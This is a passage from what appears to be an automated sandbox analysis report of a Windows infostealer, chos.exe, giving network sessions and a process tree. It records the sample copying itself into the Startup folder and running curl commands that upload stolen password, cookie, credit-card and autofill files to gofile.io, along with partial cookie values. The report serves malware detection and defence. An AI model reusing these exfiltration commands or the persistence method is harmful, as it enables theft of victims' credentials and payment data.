                                                                                                                                                                                                                                            Data Ascii: {"data":{"createTime":1734075908,"downloadPage":"https://gofile.io/d/bFBKX1","guestToken":"zTtV6xDjWqT5VMH7eEjsLv99ywkVpEUa","id":"aa5e2448-8030-4c63-be4c-5ef52a7752ca","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1734075908,


                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                            3192.168.2.84974631.14.70.2454439712C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                            2024-12-13 07:45:24 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                            Host: store4.gofile.io
                                                                                                                                                                                                                                            User-Agent: curl/7.83.1
                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                            Content-Length: 193
                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------628f94e13f98c3ca
                                                                                                                                                                                                                                            2024-12-13 07:45:24 UTC193OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 32 38 66 39 34 65 31 33 66 39 38 63 33 63 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 70 61 73 73 77 6f 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 32 38 66 39 34 65 31 33 66 39 38 63 33 63 61 2d 2d 0d 0a
                                                                                                                                                                                                                                            Data Ascii: --------------------------628f94e13f98c3caContent-Disposition: form-data; name="file"; filename="crpasswords.txt"Content-Type: text/plain--------------------------628f94e13f98c3ca--
                                                                                                                                                                                                                                            2024-12-13 07:45:25 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                            Server: nginx/1.27.1
                                                                                                                                                                                                                                            Date: Fri, 13 Dec 2024 07:45:25 GMT
                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                            Content-Length: 893
                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                            Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                            Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                            2024-12-13 07:45:25 UTC893INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 32 35 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 6b 33 50 46 63 6e 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 61 6a 79 7a 4b 78 51 31 53 68 4d 4b 49 4f 38 57 71 72 4a 31 4e 38 6a 34 77 55 33 6e 54 4a 38 68 22 2c 22 69 64 22 3a 22 64 39 66 65 39 37 61 31 2d 30 61 30 66 2d 34 37 63 62 2d 62 31 39 39 2d 35 62 61 37 65 65 62 30 61 35 66 32 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 32 35 2c
                                                                                                                                                                                                                                            Data Ascii: {"data":{"createTime":1734075925,"downloadPage":"https://gofile.io/d/k3PFcn","guestToken":"ajyzKxQ1ShMKIO8WqrJ1N8j4wU3nTJ8h","id":"d9fe97a1-0a0f-47cb-b199-5ba7eeb0a5f2","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1734075925,


                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                            4192.168.2.84975331.14.70.2454435848C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                            2024-12-13 07:45:27 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                            Host: store4.gofile.io
                                                                                                                                                                                                                                            User-Agent: curl/7.83.1
                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                            Content-Length: 466
                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------0a3e29c46757ee98
                                                                                                                                                                                                                                            2024-12-13 07:45:27 UTC466OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 61 33 65 32 39 63 34 36 37 35 37 65 65 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 6f 6f 6b 69 65 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 31 50 5f 4a 41 52 09 32 30 32 33 2d 31 30 2d 30 35 2d 30 38 0d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 09 54 52 55 45 09 2f 09 46 41 4c 53 45 09 32 35 39 37 35 37 33 34 35 36 09 4e 49 44 09 35 31 31 3d 6f 72 63 53 49 6e 6f 5a 42 62
                                                                                                                                                                                                                                            Data Ascii: --------------------------0a3e29c46757ee98Content-Disposition: form-data; name="file"; filename="crcookies.txt"Content-Type: text/plain.google.comTRUE/FALSE25975734561P_JAR2023-10-05-08.google.comTRUE/FALSE2597573456NID511=orcSInoZBb
                                                                                                                                                                                                                                            2024-12-13 07:45:27 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                            Server: nginx/1.27.1
                                                                                                                                                                                                                                            Date: Fri, 13 Dec 2024 07:45:27 GMT
                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                            Content-Length: 437
                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                            Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                            Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                            2024-12-13 07:45:27 UTC437INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 32 37 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 57 68 79 30 49 70 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 67 5a 66 50 56 4b 63 7a 6c 49 45 39 31 67 57 32 37 6c 73 70 33 31 6c 53 6e 35 71 37 76 57 38 46 22 2c 22 69 64 22 3a 22 38 31 31 38 66 64 65 64 2d 62 37 38 38 2d 34 30 34 36 2d 61 64 61 38 2d 33 39 39 38 38 63 62 34 64 36 33 66 22 2c 22 6d 64 35 22 3a 22 61 62 37 62 33 31 34 39 37 61 38 39 63 65 65 35 38 66 66 37 66 34 32 30 31 32 66 35 61 30 36 32 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 74 61 62 2d 73 65 70 61 72 61 74 65 64 2d 76 61 6c 75 65 73 22 2c 22 6d 6f 64 54 69
                                                                                                                                                                                                                                            Data Ascii: {"data":{"createTime":1734075927,"downloadPage":"https://gofile.io/d/Why0Ip","guestToken":"gZfPVKczlIE91gW27lsp31lSn5q7vW8F","id":"8118fded-b788-4046-ada8-39988cb4d63f","md5":"ab7b31497a89cee58ff7f42012f5a062","mimetype":"text/tab-separated-values","modTi


                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                            5192.168.2.84976031.14.70.2454432848C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                            2024-12-13 07:45:29 UTC198OUTPOST /uploadFile HTTP/1.1
                                                                                                                                                                                                                                            Host: store4.gofile.io
                                                                                                                                                                                                                                            User-Agent: curl/7.83.1
                                                                                                                                                                                                                                            Accept: */*
                                                                                                                                                                                                                                            Content-Length: 195
                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=------------------------55476ce27bcc9803
                                                                                                                                                                                                                                            2024-12-13 07:45:29 UTC195OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 35 34 37 36 63 65 32 37 62 63 63 39 38 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 63 72 63 72 65 64 69 74 63 61 72 64 73 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 35 34 37 36 63 65 32 37 62 63 63 39 38 30 33 2d 2d 0d 0a
                                                                                                                                                                                                                                            Data Ascii: --------------------------55476ce27bcc9803Content-Disposition: form-data; name="file"; filename="crcreditcards.txt"Content-Type: text/plain--------------------------55476ce27bcc9803--
                                                                                                                                                                                                                                            2024-12-13 07:45:30 UTC449INHTTP/1.1 200 OK
                                                                                                                                                                                                                                            Server: nginx/1.27.1
                                                                                                                                                                                                                                            Date: Fri, 13 Dec 2024 07:45:30 GMT
                                                                                                                                                                                                                                            Content-Type: application/json
                                                                                                                                                                                                                                            Content-Length: 895
                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                            Access-Control-Allow-Headers: Accept, Accept-Language, Content-Language, Content-Type, Content-Length, Range, Authorization
                                                                                                                                                                                                                                            Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
                                                                                                                                                                                                                                            Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                            Access-Control-Expose-Headers: Cache-Control, Content-Encoding, Content-Range
                                                                                                                                                                                                                                            2024-12-13 07:45:30 UTC895INData Raw: 7b 22 64 61 74 61 22 3a 7b 22 63 72 65 61 74 65 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 33 30 2c 22 64 6f 77 6e 6c 6f 61 64 50 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 67 6f 66 69 6c 65 2e 69 6f 2f 64 2f 50 6c 4c 75 78 39 22 2c 22 67 75 65 73 74 54 6f 6b 65 6e 22 3a 22 43 41 72 47 49 56 4c 4c 76 38 73 62 36 38 72 68 4b 41 35 73 32 63 52 55 56 79 5a 50 6c 67 59 5a 22 2c 22 69 64 22 3a 22 65 64 36 32 30 62 33 39 2d 30 65 61 64 2d 34 35 61 38 2d 61 33 35 38 2d 62 37 65 37 37 66 36 30 64 33 30 35 22 2c 22 6d 64 35 22 3a 22 64 34 31 64 38 63 64 39 38 66 30 30 62 32 30 34 65 39 38 30 30 39 39 38 65 63 66 38 34 32 37 65 22 2c 22 6d 69 6d 65 74 79 70 65 22 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 2c 22 6d 6f 64 54 69 6d 65 22 3a 31 37 33 34 30 37 35 39 33 30 2c
                                                                                                                                                                                                                                            Data Ascii: {"data":{"createTime":1734075930,"downloadPage":"https://gofile.io/d/PlLux9","guestToken":"CArGIVLLv8sb68rhKA5s2cRUVyZPlgYZ","id":"ed620b39-0ead-45a8-a358-b7e77f60d305","md5":"d41d8cd98f00b204e9800998ecf8427e","mimetype":"text/plain","modTime":1734075930,


                                                                                                                                                                                                                                            Statistics

                                                                                                                                                                                                                                            CPU Usage

                                                                                                                                                                                                                                            Click to jump to process

                                                                                                                                                                                                                                            Memory Usage

                                                                                                                                                                                                                                            Click to jump to process

                                                                                                                                                                                                                                            High Level Behavior Distribution

                                                                                                                                                                                                                                            Click to dive into process behavior distribution

                                                                                                                                                                                                                                            Behavior

                                                                                                                                                                                                                                            Click to jump to process

                                                                                                                                                                                                                                            System Behavior

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:0
                                                                                                                                                                                                                                            Start time:02:44:41
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:"C:\Users\user\Desktop\chos.exe"
                                                                                                                                                                                                                                            Imagebase:0x7ff666dd0000
                                                                                                                                                                                                                                            File size:17'703'403 bytes
                                                                                                                                                                                                                                            MD5 hash:C93BC8DCDB9B8C4B49B429B64C182B92
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:2
                                                                                                                                                                                                                                            Start time:02:44:44
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Users\user\Desktop\chos.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:"C:\Users\user\Desktop\chos.exe"
                                                                                                                                                                                                                                            Imagebase:0x7ff666dd0000
                                                                                                                                                                                                                                            File size:17'703'403 bytes
                                                                                                                                                                                                                                            MD5 hash:C93BC8DCDB9B8C4B49B429B64C182B92
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:3
                                                                                                                                                                                                                                            Start time:02:44:53
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:4
                                                                                                                                                                                                                                            Start time:02:44:53
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:5
                                                                                                                                                                                                                                            Start time:02:44:53
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:tasklist
                                                                                                                                                                                                                                            Imagebase:0x7ff76a3f0000
                                                                                                                                                                                                                                            File size:106'496 bytes
                                                                                                                                                                                                                                            MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:7
                                                                                                                                                                                                                                            Start time:02:44:59
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:8
                                                                                                                                                                                                                                            Start time:02:44:59
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:9
                                                                                                                                                                                                                                            Start time:02:44:59
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:moderate
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:10
                                                                                                                                                                                                                                            Start time:02:45:02
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe"
                                                                                                                                                                                                                                            Imagebase:0x7ff7fd730000
                                                                                                                                                                                                                                            File size:17'703'403 bytes
                                                                                                                                                                                                                                            MD5 hash:C93BC8DCDB9B8C4B49B429B64C182B92
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:low
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:11
                                                                                                                                                                                                                                            Start time:02:45:02
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:12
                                                                                                                                                                                                                                            Start time:02:45:02
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Reputation:high
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:13
                                                                                                                                                                                                                                            Start time:02:45:02
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:14
                                                                                                                                                                                                                                            Start time:02:45:04
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:15
                                                                                                                                                                                                                                            Start time:02:45:04
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:16
                                                                                                                                                                                                                                            Start time:02:45:04
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\curl.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
                                                                                                                                                                                                                                            Imagebase:0x7ff680420000
                                                                                                                                                                                                                                            File size:530'944 bytes
                                                                                                                                                                                                                                            MD5 hash:EAC53DDAFB5CC9E780A7CC086CE7B2B1
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:17
                                                                                                                                                                                                                                            Start time:02:45:06
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe"
                                                                                                                                                                                                                                            Imagebase:0x7ff7fd730000
                                                                                                                                                                                                                                            File size:17'703'403 bytes
                                                                                                                                                                                                                                            MD5 hash:C93BC8DCDB9B8C4B49B429B64C182B92
                                                                                                                                                                                                                                            Has elevated privileges:false
                                                                                                                                                                                                                                            Has administrator privileges:false
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:18
                                                                                                                                                                                                                                            Start time:02:45:07
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"
                                                                                                                                                                                                                                            Imagebase:0x7ff68dd20000
                                                                                                                                                                                                                                            File size:289'792 bytes
                                                                                                                                                                                                                                            MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:19
                                                                                                                                                                                                                                            Start time:02:45:07
                                                                                                                                                                                                                                            Start date:13/12/2024
                                                                                                                                                                                                                                            Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                            Wow64 process (32bit):false
                                                                                                                                                                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                            Imagebase:0x7ff6ee680000
                                                                                                                                                                                                                                            File size:862'208 bytes
                                                                                                                                                                                                                                            MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                            Has elevated privileges:true
                                                                                                                                                                                                                                            Has administrator privileges:true
                                                                                                                                                                                                                                            Programmed in:C, C++ or other language
                                                                                                                                                                                                                                            Has exited:true

                                                                                                                                                                                                                                            General

                                                                                                                                                                                                                                            Target ID:20
                                                                                                                                                                                                                                            Start time:02:45:07
                                                                                                                                                                                                                                            Start date:13/12/2024
